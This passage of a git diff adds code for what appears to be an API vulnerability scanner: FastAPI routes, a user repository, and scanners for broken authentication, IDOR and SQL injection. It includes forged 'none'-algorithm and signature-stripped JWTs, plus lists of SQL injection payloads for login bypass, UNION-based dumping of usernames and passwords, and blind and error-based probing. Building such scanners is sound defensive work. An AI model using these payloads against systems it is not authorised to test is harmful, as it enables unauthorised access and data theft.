+1,147 @@ +""" +ⒸAngelaMos | 2025 +User repository for database operations +""" + +from __future__ import annotations + +from sqlalchemy.orm import Session + +from ..config import settings +from ..models.User import User + + +class UserRepository: + """ + Repository for User database operations + """ + @staticmethod + def get_by_id(db: Session, user_id: int) -> User | None: + """ + Get user by ID + + Args: + db: Database session + user_id: User ID + + Returns: + User | None: User instance or None if not found + """ + return db.query(User).filter(User.id == user_id).first() + + @staticmethod + def get_by_email(db: Session, email: str) -> User | None: + """ + Get user by email address + + Args: + db: Database session + email: User email address + + Returns: + User | None: User instance or None if not found + """ + return db.query(User).filter(User.email == email).first() + + @staticmethod + def create_user( + db: Session, + email: str, + hashed_password: str, + commit: bool = True + ) -> User: + """ + Create a new user + + Args: + db: Database session + email: User email address + hashed_password: Bcrypt hashed password + commit: Whether to commit the transaction + + Returns: + User: Created user instance + """ + user = User(email = email, hashed_password = hashed_password) + db.add(user) + if commit: + db.commit() + db.refresh(user) + return user + + @staticmethod + def get_all_active( + db: Session, + skip: int = 0, + limit: int | None = None + ) -> list[User]: + """ + Get all active users with pagination + + Args: + db: Database session + skip: Number of records to skip + limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT) + + Returns: + list[User]: List of active users + """ + if limit is None: + limit = settings.DEFAULT_PAGINATION_LIMIT + + return ( + db.query(User).filter(User.is_active + ).offset(skip).limit(limit).all() + ) + + @staticmethod + def update_active_status( + db: Session, + user_id: int, + is_active: bool, + commit: bool = True + ) -> User | None: + """ + Update user active status + + Args: + db: Database session + user_id: User ID + is_active: New active status + commit: Whether to commit the transaction + + Returns: + User | None: Updated user or None if not found + """ + user = UserRepository.get_by_id(db, user_id) + if user: + user.is_active = is_active + if commit: + db.commit() + db.refresh(user) + return user + + @staticmethod + def delete( + db: Session, + user_id: int, + commit: bool = True + ) -> bool: + """ + Delete a user + + Args: + db: Database session + user_id: User ID to delete + commit: Whether to commit the transaction + + Returns: + bool: True if deleted, False if not found + """ + user = UserRepository.get_by_id(db, user_id) + if user: + db.delete(user) + if commit: + db.commit() + return True + return False diff --git a/api-security-scanner/backend/requirements.txt b/api-security-scanner/backend/requirements.txt new file mode 100644 index 00000000..db69b8a4 --- /dev/null +++ b/api-security-scanner/backend/requirements.txt @@ -0,0 +1,28 @@ +# ⒸAngelaMos | 2025 + +# FastAPI and server +fastapi>=0.109.0 +uvicorn[standard]>=0.27.0 +python-multipart>=0.0.6 + +# Database +sqlalchemy>=2.0.25 +psycopg2-binary>=2.9.9 +alembic>=1.13.0 + +# Security +passlib[bcrypt]>=1.7.4 +python-jose[cryptography]>=3.3.0 +bcrypt>=4.1.2 + +# HTTP client for scanners +httpx>=0.26.0 +aiohttp>=3.9.0 + +# Settings management +pydantic>=2.5.0 +pydantic-settings>=2.1.0 +python-dotenv>=1.0.0 + +# Utilities +email-validator>=2.1.0 diff --git a/api-security-scanner/backend/routes/__init__.py b/api-security-scanner/backend/routes/__init__.py new file mode 100644 index 00000000..73f9851e --- /dev/null +++ b/api-security-scanner/backend/routes/__init__.py @@ -0,0 +1,11 @@ +""" +API route handlers +""" + +from .auth import router as auth_router +from .scans import router as scans_router + +__all__ = [ + "auth_router", + "scans_router", +] diff --git a/api-security-scanner/backend/routes/auth.py b/api-security-scanner/backend/routes/auth.py new file mode 100644 index 00000000..aa3806d1 --- /dev/null +++ b/api-security-scanner/backend/routes/auth.py @@ -0,0 +1,63 @@ +""" +©AngelaMos | 2025 +Authentication routes - registration and login +""" + +from fastapi import ( + APIRouter, + Depends, + Request, + status, +) +from slowapi import Limiter +from slowapi.util import get_remote_address +from sqlalchemy.orm import Session + +from ..config import settings +from ..core.database import get_db +from ..schemas.user_schemas import ( + TokenResponse, + UserCreate, + UserLogin, + UserResponse, +) +from ..services.auth_service import AuthService + + +router = APIRouter(prefix="/auth", tags=["authentication"]) +limiter = Limiter(key_func=get_remote_address) + + +@router.post( + "/register", + response_model=UserResponse, + status_code=status.HTTP_201_CREATED, +) +@limiter.limit(settings.API_RATE_LIMIT_REGISTER) +async def register( + request: Request, + user_data: UserCreate, + db: Session = Depends(get_db), +) -> UserResponse: + """ + Register a new user account + """ + return AuthService.register_user(db, user_data) + + +@router.post( + "/login", + response_model=TokenResponse, + status_code=status.HTTP_200_OK, +) +@limiter.limit(settings.API_RATE_LIMIT_LOGIN) +async def login( + request: Request, + login_data: UserLogin, + db: Session = Depends(get_db), +) -> TokenResponse: + """ + Authenticate user and receive JWT token + """ + return AuthService.login_user(db, login_data) + diff --git a/api-security-scanner/backend/routes/scans.py b/api-security-scanner/backend/routes/scans.py new file mode 100644 index 00000000..c7698db7 --- /dev/null +++ b/api-security-scanner/backend/routes/scans.py @@ -0,0 +1,100 @@ +""" +©AngelaMos | 2025 +Scan routes - create, retrieve, and manage security scans +""" + +from fastapi import ( + APIRouter, + Depends, + Request, + status, +) +from slowapi import Limiter +from slowapi.util import get_remote_address +from sqlalchemy.orm import Session + +from ..config import settings +from ..core.database import get_db +from ..core.dependencies import get_current_user +from ..schemas.scan_schemas import ( + ScanRequest, + ScanResponse, +) +from ..schemas.user_schemas import UserResponse +from ..services.scan_service import ScanService + + +router = APIRouter(prefix="/scans", tags=["scans"]) +limiter = Limiter(key_func=get_remote_address) + + +@router.post( + "/", + response_model=ScanResponse, + status_code=status.HTTP_201_CREATED, +) +@limiter.limit(settings.API_RATE_LIMIT_SCAN) +async def create_scan( + request: Request, + scan_request: ScanRequest, + db: Session = Depends(get_db), + current_user: UserResponse = Depends(get_current_user), +) -> ScanResponse: + """ + Create and execute a new security scan + """ + return ScanService.run_scan(db, current_user.id, scan_request) + + +@router.get( + "/", + response_model=list[ScanResponse], + status_code=status.HTTP_200_OK, +) +@limiter.limit(settings.API_RATE_LIMIT_DEFAULT) +async def get_user_scans( + request: Request, + skip: int = 0, + limit: int | None = None, + db: Session = Depends(get_db), + current_user: UserResponse = Depends(get_current_user), +) -> list[ScanResponse]: + """ + Get all scans for the authenticated user + """ + return ScanService.get_user_scans(db, current_user.id, skip, limit) + + +@router.get( + "/{scan_id}", + response_model=ScanResponse, + status_code=status.HTTP_200_OK, +) +@limiter.limit(settings.API_RATE_LIMIT_DEFAULT) +async def get_scan( + request: Request, + scan_id: int, + db: Session = Depends(get_db), + current_user: UserResponse = Depends(get_current_user), +) -> ScanResponse: + """ + Get a specific scan by ID + """ + return ScanService.get_scan_by_id(db, scan_id, current_user.id) + + +@router.delete( + "/{scan_id}", + status_code=status.HTTP_204_NO_CONTENT, +) +@limiter.limit(settings.API_RATE_LIMIT_DEFAULT) +async def delete_scan( + request: Request, + scan_id: int, + db: Session = Depends(get_db), + current_user: UserResponse = Depends(get_current_user), +) -> None: + """ + Delete a scan by ID + """ + ScanService.delete_scan(db, scan_id, current_user.id) diff --git a/api-security-scanner/backend/scanners/__init__.py b/api-security-scanner/backend/scanners/__init__.py new file mode 100644 index 00000000..af144299 --- /dev/null +++ b/api-security-scanner/backend/scanners/__init__.py @@ -0,0 +1,16 @@ +"""Security scanner modules for API vulnerability testing""" + +from .base_scanner import BaseScanner +from .rate_limit_scanner import RateLimitScanner +from .auth_scanner import AuthScanner +from .sqli_scanner import SQLiScanner +from .idor_scanner import IDORScanner + + +__all__ = [ + "BaseScanner", + "RateLimitScanner", + "AuthScanner", + "SQLiScanner", + "IDORScanner", +] diff --git a/api-security-scanner/backend/scanners/auth_scanner.py b/api-security-scanner/backend/scanners/auth_scanner.py new file mode 100644 index 00000000..575705ca --- /dev/null +++ b/api-security-scanner/backend/scanners/auth_scanner.py @@ -0,0 +1,381 @@ +""" +©AngelaMos | 2025 +Authentication and authorization vulnerability scanner + +OWASP API2:2023 +""" + +from __future__ import annotations + +import base64 +import json +from typing import Any + +from ..config import settings +from ..core.enums import ( + ScanStatus, + Severity, + TestType, +) +from ..schemas.test_result_schemas import TestResultCreate + +from .payloads import AuthPayloads +from .base_scanner import BaseScanner + + +class AuthScanner(BaseScanner): + """ + Tests for broken authentication vulnerabilities + + Detects: + - Missing authentication on endpoints + - Weak/invalid token acceptance + - JWT vulnerabilities (none algorithm, weak secrets) + - Missing rate limiting on auth endpoints + + Maps to OWASP API Security Top 10 2023: API2:2023 + """ + + def scan(self) -> TestResultCreate: + """ + Execute authentication tests + + Returns: + TestResultCreate: Scan result with findings + """ + missing_auth_test = self._test_missing_authentication() + if missing_auth_test["vulnerable"]: + return self._create_vulnerable_result( + details="Endpoint accessible without authentication", + evidence=missing_auth_test, + severity=Severity.HIGH, + recommendations=[ + "Require authentication for all sensitive endpoints", + "Implement proper authentication middleware", + "Return 401 Unauthorized for missing/invalid credentials", + ], + ) + + if self.auth_token: + jwt_test = self._test_jwt_vulnerabilities() + if jwt_test["vulnerable"]: + return self._create_vulnerable_result( + details=f"JWT vulnerability: {jwt_test['vulnerability_type']}", + evidence=jwt_test, + severity=Severity.CRITICAL, + recommendations=jwt_test.get( + "recommendations", + [ + "Properly validate JWT signatures", + "Reject 'none' algorithm tokens", + "Use strong secrets (256+ bits)", + "Implement token expiration checks", + ], + ), + ) + + invalid_token_test = self._test_invalid_token_handling() + if invalid_token_test["vulnerable"]: + return self._create_vulnerable_result( + details="Invalid tokens accepted by endpoint", + evidence=invalid_token_test, + severity=Severity.HIGH, + recommendations=[ + "Reject invalid/malformed tokens with 401 status", + "Validate token format, signature, and expiration", + "Log authentication failures for monitoring", + ], + ) + + return TestResultCreate( + test_name=TestType.AUTH, + status=ScanStatus.SAFE, + severity=Severity.INFO, + details="Authentication properly implemented", + evidence_json={ + "missing_auth_test": missing_auth_test, + "invalid_token_test": invalid_token_test, + }, + recommendations_json=[ + "Authentication is properly configured", + "Consider implementing additional security measures (2FA, refresh tokens)", + ], + ) + + def _test_missing_authentication(self) -> dict[str, Any]: + """ + Test if endpoint requires authentication + + Attempts to access endpoint without credentials. + + Returns: + dict[str, Any]: Test results + """ + session_without_auth = self.session.__class__() + session_without_auth.headers.update( + { + "User-Agent": f"{settings.APP_NAME}/{settings.VERSION}", + "Accept": "application/json", + } + ) + + try: + response = session_without_auth.get( + self.target_url, + timeout=settings.SCANNER_CONNECTION_TIMEOUT, + ) + + if response.status_code == 200: + return { + "vulnerable": True, + "status_code": response.status_code, + "response_length": len(response.text), + "description": "Endpoint accessible without authentication", + } + + if response.status_code in (401, 403): + return { + "vulnerable": False, + "status_code": response.status_code, + "description": "Endpoint properly requires authentication", + } + + return { + "vulnerable": False, + "status_code": response.status_code, + "description": "Endpoint returned unexpected status", + } + + except Exception as e: + return { + "vulnerable": False, + "error": str(e), + "description": "Error testing authentication requirement", + } + + def _test_jwt_vulnerabilities(self) -> dict[str, Any]: + """ + Test for common JWT vulnerabilities + + Tests: + - None algorithm acceptance + - Signature removal + - Weak secret detection (common patterns) + + Returns: + dict[str, Any]: JWT vulnerability test results + """ + if not self.auth_token or self.auth_token.count(".") != 2: + return { + "vulnerable": False, + "description": "No valid JWT token provided", + } + + none_alg_test = self._test_none_algorithm() + if none_alg_test["vulnerable"]: + return none_alg_test + + signature_removal_test = self._test_signature_removal() + if signature_removal_test["vulnerable"]: + return signature_removal_test + + return { + "vulnerable": False, + "tests_performed": ["none_algorithm", "signature_removal"], + "description": "No JWT vulnerabilities detected", + } + + def _test_none_algorithm(self) -> dict[str, Any]: + """ + Test if server accepts JWT with 'none' algorithm + + Critical vulnerability: allows unsigned tokens to be accepted. + + Returns: + dict[str, Any]: None algorithm test results + """ + try: + header, payload, signature = self.auth_token.split(".") + + none_variants = AuthPayloads.get_jwt_none_variants() + + for variant in none_variants: + malicious_header = self._base64url_encode( + json.dumps({"alg": variant, "typ": "JWT"}) + ) + + malicious_token = f"{malicious_header}.{payload}." + + response = self.make_request( + "GET", + "/", + headers={"Authorization": f"Bearer {malicious_token}"}, + ) + + if response.status_code == 200: + return { + "vulnerable": True, + "vulnerability_type": "JWT None Algorithm", + "algorithm_variant": variant, + "status_code": response.status_code, + "recommendations": [ + "Reject tokens with 'none' algorithm (all case variations)", + "Explicitly verify signature before accepting tokens", + "Use allowlist of accepted algorithms", + ], + } + + return { + "vulnerable": False, + "description": "None algorithm properly rejected", + } + + except Exception as e: + return { + "vulnerable": False, + "error": str(e), + "description": "Error testing none algorithm", + } + + def _test_signature_removal(self) -> dict[str, Any]: + """ + Test if server accepts JWT with signature removed + + Returns: + dict[str, Any]: Signature removal test results + """ + try: + header, payload, signature = self.auth_token.split(".") + + malicious_token = f"{header}.{payload}." + + response = self.make_request( + "GET", + "/", + headers={"Authorization": f"Bearer {malicious_token}"}, + ) + + if response.status_code == 200: + return { + "vulnerable": True, + "vulnerability_type": "JWT Signature Not Verified", + "status_code": response.status_code, + "recommendations": [ + "Require valid signature on all JWT tokens", + "Reject tokens with missing or invalid signatures", + "Implement proper JWT validation library", + ], + } + + return { + "vulnerable": False, + "description": "Signature removal properly rejected", + } + + except Exception as e: + return { + "vulnerable": False, + "error": str(e), + "description": "Error testing signature removal", + } + + def _test_invalid_token_handling(self) -> dict[str, Any]: + """ + Test how server handles invalid/malformed tokens + + Returns: + dict[str, Any]: Invalid token handling test results + """ + invalid_tokens = AuthPayloads.INVALID_TOKEN_FORMATS + + accepted_invalid = [] + + for invalid_token in invalid_tokens: + try: + response = self.make_request( + "GET", + "/", + headers={"Authorization": f"Bearer {invalid_token}"}, + ) + + if response.status_code == 200: + accepted_invalid.append( + { + "token": invalid_token[:50], + "status_code": response.status_code, + } + ) + + except Exception: + continue + + if accepted_invalid: + return { + "vulnerable": True, + "accepted_invalid_tokens": accepted_invalid, + "count": len(accepted_invalid), + } + + return { + "vulnerable": False, + "description": "Invalid tokens properly rejected", + "tokens_tested": len(invalid_tokens), + } + + def _base64url_decode(self, data: str) -> dict[str, Any]: + """ + Decode base64url-encoded JWT data + + Args: + data: Base64url-encoded string + + Returns: + dict[str, Any]: Decoded JSON data + """ + padding = 4 - (len(data) % 4) + if padding != 4: + data += "=" * padding + + decoded = base64.urlsafe_b64decode(data) + return json.loads(decoded) + + def _base64url_encode(self, data: str) -> str: + """ + Encode data to base64url format + + Args: + data: String data to encode + + Returns: + str: Base64url-encoded string + """ + encoded = base64.urlsafe_b64encode(data.encode()).decode() + return encoded.rstrip("=") + + def _create_vulnerable_result( + self, + details: str, + evidence: dict[str, Any], + severity: Severity = Severity.HIGH, + recommendations: list[str] | None = None, + ) -> TestResultCreate: + """ + Create a vulnerable scan result + + Args: + details: Vulnerability description + evidence: Evidence dictionary + severity: Vulnerability severity + recommendations: List of remediation recommendations + + Returns: + TestResultCreate: Vulnerable result + """ + return TestResultCreate( + test_name=TestType.AUTH, + status=ScanStatus.VULNERABLE, + severity=severity, + details=details, + evidence_json=evidence, + recommendations_json=recommendations or [], + ) diff --git a/api-security-scanner/backend/scanners/base_scanner.py b/api-security-scanner/backend/scanners/base_scanner.py new file mode 100644 index 00000000..9279b7bc --- /dev/null +++ b/api-security-scanner/backend/scanners/base_scanner.py @@ -0,0 +1,284 @@ +""" +©AngelaMos | 2025 +Base scanner class with common HTTP logic and evidence collection +""" + +from __future__ import annotations + +import time +import random +import statistics +from typing import Any +from urllib.parse import urljoin +from abc import ABC, abstractmethod + +import requests + +from ..config import settings +from ..schemas.test_result_schemas import TestResultCreate + + +class BaseScanner(ABC): + """ + Abstract base class for all security scanners + + Provides common HTTP functionality, request spacing, retry logic, + and evidence collection. Specific scanners inherit and implement scan(). + """ + def __init__( + self, + target_url: str, + auth_token: str | None = None, + max_requests: int | None = None, + ): + """ + Initialize scanner with target and configuration + + Args: + target_url: Base URL of API to scan + auth_token: Optional authentication token + max_requests: Optional limit on requests (from settings if None) + """ + self.target_url = target_url.rstrip("/") + self.auth_token = auth_token + self.max_requests = max_requests or settings.DEFAULT_MAX_REQUESTS + self.session = self._create_session() + self.last_request_time = 0.0 + self.request_count = 0 + + def _create_session(self) -> requests.Session: + """ + Create persistent HTTP session with proper headers + + Returns: + requests.Session: Configured session object + """ + session = requests.Session() + + session.headers.update( + { + "User-Agent": + f"{settings.APP_NAME}/{settings.VERSION}", + "Accept": "application/json", + } + ) + + if self.auth_token: + session.headers.update( + {"Authorization": f"Bearer {self.auth_token}"} + ) + + return session + + def _wait_before_request( + self, + jitter_ms: int | None = None + ) -> None: + """ + Implement request spacing to avoid overwhelming target + + Based on research: production-safe scanning requires spacing + requests to avoid triggering rate limits or affecting service. + + Args: + jitter_ms: Random jitter in milliseconds to add (DEFAULT_JITTER_MS) + """ + if jitter_ms is None: + jitter_ms = settings.DEFAULT_JITTER_MS + + required_delay = 1.0 / ( + self.max_requests / settings.SCANNER_RATE_LIMIT_WINDOW_SECONDS + ) + jitter = random.uniform(0, jitter_ms / 1000.0) + + elapsed = time.time() - self.last_request_time + + if elapsed < required_delay: + time.sleep(required_delay - elapsed + jitter) + else: + time.sleep(jitter) + + self.last_request_time = time.time() + + def make_request( + self, + method: str, + endpoint: str, + **kwargs: Any, + ) -> requests.Response: + """ + Make HTTP request with retry logic and rate limit handling + + Implements exponential backoff for server errors and respects + Retry-After headers for 429 responses. + + Args: + method: HTTP method (GET, POST, etc.) + endpoint: Endpoint path (will be joined with target_url) + **kwargs: Additional arguments passed to requests + + Returns: + requests.Response: Response object + + Raises: + requests.RequestException: If request fails after retries + """ + self._wait_before_request() + + url = urljoin(self.target_url, endpoint) + retry_count = 0 + backoff_factor = 2.0 + + kwargs.setdefault( + "timeout", + settings.SCANNER_CONNECTION_TIMEOUT + ) + + while retry_count <= settings.DEFAULT_RETRY_COUNT: + try: + start_time = time.time() + response = self.session.request(method, url, **kwargs) + setattr(response, "request_time", time.time() - start_time) + + self.request_count += 1 + + if response.status_code == 429: + retry_after = response.headers.get( + "Retry-After", + str(settings.DEFAULT_RETRY_WAIT_SECONDS) + ) + wait_time = ( + int(retry_after) if retry_after.isdigit() else + settings.DEFAULT_RETRY_WAIT_SECONDS + ) + time.sleep(wait_time) + retry_count += 1 + continue + + if response.status_code >= 500 and retry_count < settings.DEFAULT_RETRY_COUNT: + wait_time = backoff_factor**retry_count + time.sleep(wait_time) + retry_count += 1 + continue + + return response + + except (requests.Timeout, requests.ConnectionError): + if retry_count < settings.DEFAULT_RETRY_COUNT: + wait_time = backoff_factor**retry_count + time.sleep(wait_time) + retry_count += 1 + else: + raise + + return response + + def get_baseline_timing( + self, + endpoint: str, + samples: int | None = None + ) -> tuple[float, + float]: + """ + Establish baseline response time for an endpoint + + Critical for time-based detection (e.g., blind SQLi). Takes multiple + samples and calculates mean and standard deviation. + + Args: + endpoint: Endpoint to test + samples: Number of samples to take (DEFAULT_BASELINE_SAMPLES) + + Returns: + tuple[float, float]: (mean_time, stdev_time) in seconds + """ + if samples is None: + samples = settings.DEFAULT_BASELINE_SAMPLES + + times = [] + + for _ in range(samples): + response = self.make_request("GET", endpoint) + times.append(getattr(response, "request_time", 0.0)) + time.sleep(0.5) + + return statistics.mean(times), statistics.stdev(times) + + def collect_evidence( + self, + response: requests.Response, + payload: Any | None = None, + **additional_data: Any, + ) -> dict[str, + Any]: + """ + Collect evidence from test execution with sensitive data redaction + + Args: + response: HTTP response object + payload: Payload used in test + **additional_data: Additional evidence data + + Returns: + dict[str, Any]: Evidence dictionary + """ + evidence = { + "status_code": + response.status_code, + "response_time_ms": + round(getattr(response, + "request_time", + 0.0) * 1000, + 2), + "response_length": + len(response.text), + "headers": + self._redact_sensitive_headers(dict(response.headers)), + } + + if payload is not None: + evidence["payload"] = str(payload) + + evidence.update(additional_data) + + return evidence + + def _redact_sensitive_headers(self, + headers: dict[str, + str]) -> dict[str, + str]: + """ + Redact sensitive header values for evidence collection + + Args: + headers: Original headers dictionary + + Returns: + dict[str, str]: Headers with sensitive values redacted + """ + sensitive_headers = [ + "authorization", + "cookie", + "x-api-key", + "x-auth-token", + ] + + redacted = {} + for key, value in headers.items(): + if key.lower() in sensitive_headers: + redacted[key] = "[REDACTED]" + else: + redacted[key] = value + + return redacted + + @abstractmethod + def scan(self) -> TestResultCreate: + """ + Execute the security scan + + Must be implemented by specific scanner classes. + + Returns: + TestResultCreate: Result of the scan + """ diff --git a/api-security-scanner/backend/scanners/idor_scanner.py b/api-security-scanner/backend/scanners/idor_scanner.py new file mode 100644 index 00000000..2592db69 --- /dev/null +++ b/api-security-scanner/backend/scanners/idor_scanner.py @@ -0,0 +1,335 @@ +""" +©AngelaMos | 2025 +IDOR/BOLA vulnerability scanner + +Based on OWASP API1:2023 - Broken Object Level Authorization +""" + +from __future__ import annotations + +import re +from typing import Any + +from ..core.enums import ScanStatus, Severity, TestType +from ..schemas.test_result_schemas import TestResultCreate +from .base_scanner import BaseScanner +from .payloads import IDORPayloads + + +class IDORScanner(BaseScanner): + """ + Tests for Insecure Direct Object Reference (IDOR) vulnerabilities + + Also known as Broken Object Level Authorization (BOLA). + Ranked #1 in OWASP API Security Top 10 2023. + + Detects: + - Sequential ID enumeration + - UUID exposure and access + - Missing authorization checks on object access + + Maps to OWASP API Security Top 10 2023: API1:2023 + """ + + def scan(self) -> TestResultCreate: + """ + Execute IDOR/BOLA tests + + Returns: + TestResultCreate: Scan result with findings + """ + id_enumeration_test = self._test_id_enumeration() + + if id_enumeration_test["vulnerable"]: + return self._create_vulnerable_result( + details=f"IDOR vulnerability detected: {id_enumeration_test['vulnerability_type']}", + evidence=id_enumeration_test, + severity=Severity.HIGH, + recommendations=[ + "Implement proper authorization checks for all object access", + "Verify user owns/has permission to access requested resource", + "Use UUIDs instead of sequential IDs (but still check authorization)", + "Implement access control lists (ACLs) or role-based access control (RBAC)", + "Log and monitor unauthorized access attempts", + ], + ) + + predictable_id_test = self._test_predictable_id_patterns() + + if predictable_id_test["vulnerable"]: + return self._create_vulnerable_result( + details="Predictable ID patterns detected enabling enumeration", + evidence=predictable_id_test, + severity=Severity.MEDIUM, + recommendations=[ + "Use non-sequential, non-predictable identifiers (UUIDs)", + "Implement rate limiting on ID-based endpoints", + "Add authorization checks regardless of ID format", + ], + ) + + return TestResultCreate( + test_name=TestType.IDOR, + status=ScanStatus.SAFE, + severity=Severity.INFO, + details="No IDOR/BOLA vulnerabilities detected", + evidence_json={ + "id_enumeration_test": id_enumeration_test, + "predictable_id_test": predictable_id_test, + }, + recommendations_json=[ + "Authorization checks appear to be in place", + "Continue monitoring for authorization bypasses", + ], + ) + + def _test_id_enumeration(self) -> dict[str, Any]: + """ + Test for ID enumeration vulnerabilities + + Attempts to access resources with modified IDs to detect + missing authorization checks. + + Returns: + dict[str, Any]: ID enumeration test results + """ + extracted_ids = self._extract_ids_from_response() + + if not extracted_ids: + return { + "vulnerable": False, + "description": "No IDs found in endpoint responses", + } + + numeric_test = self._test_numeric_id_manipulation(extracted_ids) + if numeric_test["vulnerable"]: + return numeric_test + + string_test = self._test_string_id_manipulation(extracted_ids) + if string_test["vulnerable"]: + return string_test + + return { + "vulnerable": False, + "ids_tested": len(extracted_ids), + "description": "ID enumeration not possible or blocked", + } + + def _extract_ids_from_response(self) -> list[Any]: + """ + Extract potential IDs from API response + + Looks for numeric IDs, UUIDs, and other identifier patterns. + + Returns: + list[Any]: List of extracted IDs + """ + try: + response = self.make_request("GET", "/") + + if response.status_code != 200: + return [] + + response_text = response.text + + uuid_pattern = r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}' + uuids = re.findall(uuid_pattern, response_text, re.IGNORECASE) + + numeric_id_pattern = r'"id"\s*:\s*(\d+)' + numeric_ids = re.findall(numeric_id_pattern, response_text) + + ids = [] + ids.extend(uuids[:3]) + ids.extend([int(nid) for nid in numeric_ids[:3]]) + + return ids + + except Exception: + return [] + + def _test_numeric_id_manipulation( + self, extracted_ids: list[Any] + ) -> dict[str, Any]: + """ + Test numeric ID manipulation for IDOR + + Args: + extracted_ids: List of IDs extracted from responses + + Returns: + dict[str, Any]: Numeric ID manipulation test results + """ + numeric_ids = [ + id_val for id_val in extracted_ids if isinstance(id_val, int) + ] + + if not numeric_ids: + return { + "vulnerable": False, + "description": "No numeric IDs to test", + } + + base_id = numeric_ids[0] + + test_ids = IDORPayloads.NUMERIC_ID_MANIPULATIONS + + accessible_unauthorized = [] + + for test_id in test_ids: + if test_id == base_id: + continue + + try: + response = self.make_request("GET", f"/{test_id}") + + if response.status_code == 200: + accessible_unauthorized.append( + { + "id": test_id, + "status_code": response.status_code, + "response_length": len(response.text), + } + ) + + except Exception: + continue + + if accessible_unauthorized: + return { + "vulnerable": True, + "vulnerability_type": "Numeric ID Enumeration", + "base_id": base_id, + "unauthorized_access": accessible_unauthorized, + "count": len(accessible_unauthorized), + } + + return { + "vulnerable": False, + "numeric_ids_tested": len(test_ids), + } + + def _test_string_id_manipulation( + self, extracted_ids: list[Any] + ) -> dict[str, Any]: + """ + Test string/UUID ID manipulation for IDOR + + Args: + extracted_ids: List of IDs extracted from responses + + Returns: + dict[str, Any]: String ID manipulation test results + """ + string_ids = [ + id_val for id_val in extracted_ids if isinstance(id_val, str) + ] + + if not string_ids: + return { + "vulnerable": False, + "description": "No string IDs to test", + } + + test_ids = IDORPayloads.STRING_ID_MANIPULATIONS + + accessible_unauthorized = [] + + for test_id in test_ids: + try: + response = self.make_request("GET", f"/{test_id}") + + if response.status_code == 200: + accessible_unauthorized.append( + { + "id": test_id, + "status_code": response.status_code, + "response_length": len(response.text), + } + ) + + except Exception: + continue + + if accessible_unauthorized: + return { + "vulnerable": True, + "vulnerability_type": "String ID Manipulation", + "unauthorized_access": accessible_unauthorized, + "count": len(accessible_unauthorized), + } + + return { + "vulnerable": False, + "string_ids_tested": len(test_ids), + } + + def _test_predictable_id_patterns(self) -> dict[str, Any]: + """ + Test if IDs follow predictable patterns + + Predictable IDs (sequential, timestamps) enable enumeration attacks. + + Returns: + dict[str, Any]: Predictable ID pattern test results + """ + try: + ids1 = self._extract_ids_from_response() + + ids2 = self._extract_ids_from_response() + + numeric_ids1 = [id for id in ids1 if isinstance(id, int)] + numeric_ids2 = [id for id in ids2 if isinstance(id, int)] + + if len(numeric_ids1) >= 2: + diff1 = abs(numeric_ids1[1] - numeric_ids1[0]) + + if len(numeric_ids2) >= 2: + diff2 = abs(numeric_ids2[1] - numeric_ids2[0]) + + if diff1 == diff2 and diff1 == 1: + return { + "vulnerable": True, + "pattern_type": "Sequential IDs", + "id_difference": diff1, + "example_ids": numeric_ids1[:3], + } + + return { + "vulnerable": False, + "description": "No predictable ID patterns detected", + } + + except Exception as e: + return { + "vulnerable": False, + "error": str(e), + "description": "Error testing ID patterns", + } + + def _create_vulnerable_result( + self, + details: str, + evidence: dict[str, Any], + severity: Severity = Severity.HIGH, + recommendations: list[str] | None = None, + ) -> TestResultCreate: + """ + Create a vulnerable scan result + + Args: + details: Vulnerability description + evidence: Evidence dictionary + severity: Vulnerability severity + recommendations: List of remediation recommendations + + Returns: + TestResultCreate: Vulnerable result + """ + return TestResultCreate( + test_name=TestType.IDOR, + status=ScanStatus.VULNERABLE, + severity=severity, + details=details, + evidence_json=evidence, + recommendations_json=recommendations or [], + ) diff --git a/api-security-scanner/backend/scanners/payloads.py b/api-security-scanner/backend/scanners/payloads.py new file mode 100644 index 00000000..d275505d --- /dev/null +++ b/api-security-scanner/backend/scanners/payloads.py @@ -0,0 +1,463 @@ +""" +©AngelaMos | 2025 +Security testing payloads for various attack vectors +""" + + +class SQLiPayloads: + """ + SQL Injection test payloads covering various database types and techniques + """ + + ERROR_SIGNATURES = { + "mysql": [ + "sql syntax", + "mysql_fetch", + "mysql_num_rows", + "warning: mysql", + "mysqli", + "mysql error", + "mysql_", + ], + "postgres": [ + "postgresql", + "pg_query", + "pg_exec", + "error: syntax error", + "pg_", + "pgsql", + "postgres error", + ], + "mssql": [ + "odbc sql server", + "sqlserver jdbc driver", + "msg ", + "sqlexception", + "microsoft sql", + "sql server", + ], + "oracle": [ + "ora-", + "oracle.jdbc", + "oracle error", + "oracle database", + "pl/sql", + ], + } + + BASIC_AUTHENTICATION_BYPASS = [ + "' OR '1'='1", + "' OR 1=1--", + "' OR 1=1#", + "' OR 1=1/*", + "admin'--", + "admin'#", + "admin'/*", + "' or 1=1--", + "' or 1=1#", + "' or 1=1/*", + ") or '1'='1--", + ") or ('1'='1--", + ] + + UNION_BASED = [ + "' UNION SELECT NULL--", + "' UNION SELECT NULL,NULL--", + "' UNION SELECT NULL,NULL,NULL--", + "' UNION ALL SELECT NULL--", + "' UNION ALL SELECT NULL,NULL--", + "1' UNION SELECT NULL,NULL,NULL--", + "1' UNION ALL SELECT table_name,NULL FROM information_schema.tables--", + "' UNION SELECT username,password FROM users--", + "' UNION SELECT NULL,version()--", + "' UNION SELECT NULL,database()--", + ] + + TIME_BASED_BLIND = [ + "'; WAITFOR DELAY '0:0:5'--", + "1'; WAITFOR DELAY '0:0:5'--", + "'; SELECT SLEEP(5)--", + "1'; SELECT SLEEP(5)--", + "'; BENCHMARK(5000000,MD5('test'))--", + "1' AND SLEEP(5)--", + "1' OR SLEEP(5)--", + "'; pg_sleep(5)--", + "1'; pg_sleep(5)--", + ] + + BOOLEAN_BASED_BLIND = [ + "1' AND '1'='1", + "1' AND '1'='2", + "1' AND 1=1--", + "1' AND 1=2--", + "1' AND SUBSTRING(version(),1,1)='5'--", + "1' AND ASCII(SUBSTRING(database(),1,1))>97--", + "' AND (SELECT COUNT(*) FROM users)>0--", + "' AND (SELECT LENGTH(database()))>0--", + ] + + ERROR_BASED = [ + "' AND 1=CONVERT(int,(SELECT @@version))--", + "' AND 1=CAST((SELECT @@version) AS int)--", + "' AND extractvalue(1,concat(0x7e,version()))--", + "' AND updatexml(1,concat(0x7e,version()),1)--", + "' AND exp(~(SELECT * FROM (SELECT 1)x))--", + "' OR 1 GROUP BY CONCAT_WS(0x3a,version(),floor(rand()*2)) HAVING MIN(0)--", 